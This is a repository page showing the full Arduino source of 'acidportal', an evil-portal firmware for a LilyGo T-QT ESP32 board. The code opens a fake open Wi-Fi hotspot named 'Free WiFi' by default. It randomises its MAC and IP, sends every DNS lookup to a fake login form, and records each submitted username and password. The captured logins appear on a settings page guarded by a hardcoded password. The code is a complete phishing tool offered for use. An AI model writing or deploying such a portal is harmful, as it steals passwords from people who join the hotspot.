acidportal

- 😈 Worlds smallest Evil Portal on a LilyGo T-QT
git clone git://git.acid.vegas/acidportal.git
Log | Files | Refs | Archive | README | LICENSE

main.ino (8567B)

      1 // Main Includes
      2 #include <vector>
      3 
      4 // Arduino Libraries
      5 #include <Arduino.h>
      6 #include <AsyncTCP.h>
      7 #include <DNSServer.h>
      8 #include <ESPAsyncWebServer.h>
      9 #include <esp_system.h> 
     10 #include "OneButton.h"
     11 #include <Preferences.h>
     12 #include <TFT_eSPI.h>
     13 #include <WiFi.h>
     14 
     15 
     16 // T-QT Pins
     17 #define PIN_BAT_VOLT  4
     18 #define PIN_LCD_BL   10
     19 #define PIN_BTN_L     0
     20 #define PIN_BTN_R    47
     21 
     22 
     23 AsyncWebServer server(80);
     24 DNSServer dnsServer;
     25 IPAddress apIP;
     26 OneButton btn_left(PIN_BTN_L, true);
     27 OneButton btn_right(PIN_BTN_R, true);
     28 Preferences preferences;
     29 std::vector<String> loginAttempts;
     30 String ssid;
     31 TFT_eSPI tft = TFT_eSPI(128, 128); // Default size for the T-QT
     32 
     33 bool displayOn = true;
     34 int hits = 0;
     35 int marqueePosition = 0;
     36 unsigned long lastMarqueeUpdate = 0;
     37 
     38 
     39 void buttonLeftPressed() {
     40 	if (displayOn) {
     41 		digitalWrite(PIN_LCD_BL, LOW);
     42 		displayOn = false;
     43 	} else {
     44 		digitalWrite(PIN_LCD_BL, HIGH);
     45 		displayOn = true;
     46 	}
     47 }
     48 
     49 
     50 String formatNumber(int num) {
     51 	String str = String(num);
     52 	int len = str.length();
     53 	String formatted = "";
     54 
     55 	for (int i = 0; i < len; i++) {
     56 		if (i > 0 && (len - i) % 3 == 0)
     57 			formatted += ",";
     58 		formatted += str[i];
     59 	}
     60 
     61 	return formatted;
     62 }
     63 
     64 
     65 IPAddress getRandomIPAddress() {
     66 	while (true) {
     67 		byte octet1 = random(1, 224); // Avoid 0 & 224-255 (multicast/reserved)
     68 		byte octet2 = random(0, 256);
     69 		byte octet3 = random(0, 256);
     70 		byte octet4 = random(1, 255); // Avoid 0 (network) & 255 (broadcast)
     71 
     72 		// Avoid private IP ranges
     73 		if (octet1 == 10) continue; // 10.0.0.0/8
     74 		if (octet1 == 172 && octet2 >= 16 && octet2 <= 31) continue; // 172.16.0.0/12
     75 		if (octet1 == 192 && octet2 == 168) continue; // 192.168.0.0/16
     76 
     77 		// Avoid other reserved ranges
     78 		if (octet1 == 127) continue; // Loopback
     79 		if (octet1 == 169 && octet2 == 254) continue; // Link-local
     80 		if (octet1 == 192 && octet2 == 0 && octet3 == 2) continue; // Test-Net-1
     81 		if (octet1 == 198 && (octet2 == 51 || octet2 == 18)) continue; // Test-Net-2 and Test-Net-3
     82 		if (octet1 >= 224) continue; // Class D and E
     83 
     84 		return IPAddress(octet1, octet2, octet3, octet4);
     85 	}
     86 }
     87 
     88 
     89 void handleClearAttempts(AsyncWebServerRequest *request) {
     90 	loginAttempts.clear();
     91 	updateDisplaySSID();
     92 	request->redirect("/settings");
     93 }
     94 
     95 
     96 void handleLogin(AsyncWebServerRequest *request) {
     97 	String username = request->arg("username");
     98 	String password = request->arg("password");
     99 	
    100 	Serial.println("Login attempt: " + username + ":" + password);
    101 
    102 	loginAttempts.push_back(username + ":" + password);
    103 	updateDisplaySSID();
    104 	
    105 	if (username == "acidvegas" && password == "acidvegas")
    106 		request->redirect("/settings");
    107 	else
    108 		request->send(200, "text/html", "<html><body><h1>Login received</h1></body></html>");
    109 }
    110 
    111 
    112 void handleRoot(AsyncWebServerRequest *request) {
    113 	String html = "<html>"
    114 		"	<body>"
    115 		"		<h1>Welcome to " + ssid + "</h1>"
    116 		"		<form action='/' method='post'>"
    117 		"			Username: <input type='text' name='username' maxlength='100'><br>"
    118 		"			Password: <input type='password' name='password' maxlength='100'><br>"
    119 		"			<input type='submit' value='Log In'>"
    120 		"		</form>"
    121 		"	</body>"
    122 		"</html>";
    123 
    124 	request->send(200, "text/html", html);
    125 
    126 	hits++;
    127 }
    128 
    129 
    130 void handleSettings(AsyncWebServerRequest *request) {
    131 	String html = "<html>"
    132 		"	<body>"
    133 		"		<h1>Settings</h1>"
    134 		"		<form action='/settings' method='post'>"
    135 		"			New SSID: <input type='text' name='new_ssid' minlength='1' maxlength='32'><br>"
    136 		"			<input type='submit' value='Update SSID'>"
    137 		"		</form>"
    138 		"		<form action='/clear' method='post'>"
    139 		"			<input type='submit' value='CLEAR Login Attempts'>"
    140 		"		</form>"
    141 		"		<h2>Login Attempts:</h2>";
    142 	
    143 	for (const auto& attempt : loginAttempts)
    144 		html += "		" + attempt + "<br>";
    145 	
    146 	html += "	</body>";
    147 	html += "</html>";
    148 	
    149 	request->send(200, "text/html", html);
    150 }
    151 
    152 
    153 void handleUpdateSSID(AsyncWebServerRequest *request) {
    154 	String newSSID = request->arg("new_ssid");
    155 
    156 	if (newSSID.length() > 0 && newSSID.length() <= 32) {
    157 		ssid = newSSID;
    158 		preferences.putString("ssid", ssid);
    159 
    160 		setupWiFiAP();
    161 
    162 		marqueePosition = 0;
    163 		updateDisplaySSID();
    164 
    165 		request->redirect("/settings");
    166 	} else {
    167 		String html = "<html>"
    168 			"	<body>"
    169 			"		<h1>Error</h1>"
    170 			"		<p>SSID must be between 1 and 32 characters.</p>"
    171 			"		<a href='/settings'>Back to Settings</a>"
    172 			"	</body>"
    173 			"</html>";
    174 
    175 		request->send(400, "text/html", html);
    176 	}
    177 }
    178 
    179 
    180 void loadPreferences() {
    181 	Serial.println("Loading preferences...");
    182 	preferences.begin("config", false);
    183 	ssid = preferences.getString("ssid", "Free WiFi");
    184 	Serial.println("SSID loaded: " + ssid);
    185 }
    186 
    187 
    188 void loop() {
    189 	dnsServer.processNextRequest();
    190 	updateMarquee();
    191 	btn_left.tick();
    192 	btn_right.tick();
    193 	
    194 	delay(50);
    195 }
    196 
    197 
    198 void setRandomMAC() {
    199 	uint8_t mac[6];
    200 
    201 	mac[0] = 0x02; // Locally administered address (use 0x00 for global)
    202 	mac[1] = random(0, 256);
    203 	mac[2] = random(0, 256);
    204 	mac[3] = random(0, 256);
    205 	mac[4] = random(0, 256);
    206 	mac[5] = random(0, 256);
    207 
    208 	esp_base_mac_addr_set(mac);
    209 
    210 	if (esp_base_mac_addr_get(mac) == ESP_OK)
    211 		Serial.println("Random MAC address set to " + String(mac[0], HEX) + ":" + String(mac[1], HEX) + ":" + String(mac[2], HEX) + ":" + String(mac[3], HEX) + ":" + String(mac[4], HEX) + ":" + String(mac[5], HEX));
    212 	else
    213 		Serial.println("Failed to set MAC address.");
    214 }
    215 
    216 
    217 void setup() {
    218 	Serial.begin(115200);
    219 	Serial.println("Starting ACID Portal...");
    220 
    221 	Serial.println("Generating random seed...");
    222 	uint32_t seed = esp_random();
    223 	randomSeed(seed);
    224 
    225 	loadPreferences();
    226 
    227 	setupWiFiAP();
    228 	setupServer();
    229 
    230 	Serial.println("Initializing display...");
    231 	tft.begin();
    232 
    233 	updateDisplaySSID();
    234 
    235 	btn_left.attachClick(buttonLeftPressed);
    236 	//btn_right.attachClick(CHANGEME);
    237 }
    238 
    239 
    240 void setupServer() {
    241 	Serial.println("Starting DNS server...");
    242 	dnsServer.start(53, "*", apIP);
    243 	
    244 	Serial.println("Setting up the HTTP server...");
    245 	server.on("/", HTTP_GET, handleRoot);
    246 	server.on("/", HTTP_POST, handleLogin);
    247 	server.on("/settings", HTTP_GET, handleSettings);
    248 	server.on("/settings", HTTP_POST, handleUpdateSSID);
    249 	server.on("/clear", HTTP_POST, handleClearAttempts);
    250 	server.onNotFound([](AsyncWebServerRequest *request) {
    251 		request->redirect("http://" + apIP.toString());
    252 	});
    253 	server.begin();
    254 	Serial.println("HTTP server started.");
    255 }
    256 
    257 
    258 void setupWiFiAP() {
    259 	if (WiFi.softAPgetStationNum() > 0) {
    260 		Serial.println("Shutting down existing access point...");
    261         WiFi.softAPdisconnect(true);
    262 	}
    263 
    264 	setRandomMAC();
    265 
    266 	apIP = getRandomIPAddress();
    267 	Serial.println("Using IP address: " + apIP.toString());
    268 
    269 	WiFi.mode(WIFI_AP);
    270 	WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
    271 	WiFi.softAP(ssid.c_str());
    272 
    273 	Serial.println("Access Point (" + ssid + ") started on " + WiFi.softAPIP());
    274 }
    275 
    276 
    277 void updateDisplaySSID() {
    278 	tft.fillScreen(TFT_BLACK);
    279 
    280 	tft.setTextSize(2);
    281 	tft.setTextColor(TFT_GREEN);
    282 
    283 	int textWidth = tft.textWidth("ACID");
    284 	int xPos = (tft.width() - textWidth) / 2;
    285 	tft.setCursor(xPos, 5);
    286 	tft.println("ACID");
    287 
    288 	textWidth = tft.textWidth("PORTAL");
    289 	xPos = (tft.width() - textWidth) / 2;
    290 	tft.setCursor(xPos, 25);
    291 	tft.println("PORTAL");
    292 
    293 	tft.setTextSize(1);
    294 
    295 	String ipString = WiFi.softAPIP().toString();
    296 	textWidth = tft.textWidth(ipString);
    297 	xPos = (tft.width() - textWidth) / 2;
    298 	int yPos = (tft.height() - 16) / 2;
    299 	tft.setCursor(xPos, yPos);
    300 	tft.setTextColor(TFT_PURPLE);
    301 	tft.print(ipString);
    302 
    303 	String hitCount = formatNumber(hits) + " hits";
    304 	textWidth = tft.textWidth(hitCount);
    305 	xPos = (tft.width() - textWidth) / 2;
    306 	tft.setCursor(xPos, yPos + 10);
    307 	tft.setTextColor(TFT_CYAN);
    308 	tft.print(hitCount);
    309 
    310 	String credentialCount = formatNumber(loginAttempts.size()) + " logs";
    311 	textWidth = tft.textWidth(credentialCount);
    312 	xPos = (tft.width() - textWidth) / 2;
    313 	tft.setCursor(xPos, yPos + 20);
    314 	tft.setTextColor(TFT_CYAN);
    315 	tft.print(credentialCount);
    316 
    317 	marqueePosition = 0;
    318 
    319 	// Clear the bottom portion of the screen for the marquee
    320 	tft.fillRect(0, tft.height() - 12, tft.width(), 12, TFT_BLACK);
    321 }
    322 
    323 
    324 void updateMarquee() {
    325 	unsigned long currentTime = millis();
    326 	if (currentTime - lastMarqueeUpdate >= 50) {
    327 		lastMarqueeUpdate = currentTime;
    328 		
    329 		// Clear the bottom portion of the screen
    330 		tft.fillRect(0, tft.height() - 10, tft.width(), 10, TFT_BLACK);
    331 		
    332 		int textWidth = tft.textWidth(ssid);
    333 		int startX = tft.width() - marqueePosition;
    334 		
    335 		// Draw the text only if it's on screen
    336 		if (startX < tft.width()) {
    337 			tft.setCursor(startX, tft.height() - 10);
    338 			tft.setTextWrap(false);  // Prevent text wrapping
    339 			tft.setTextColor(TFT_YELLOW);
    340 			tft.print(ssid);
    341 		}
    342 		
    343 		marqueePosition++;
    344 
    345 		if (marqueePosition > textWidth + tft.width())
    346 			marqueePosition = 0;
    347 	}
    348 }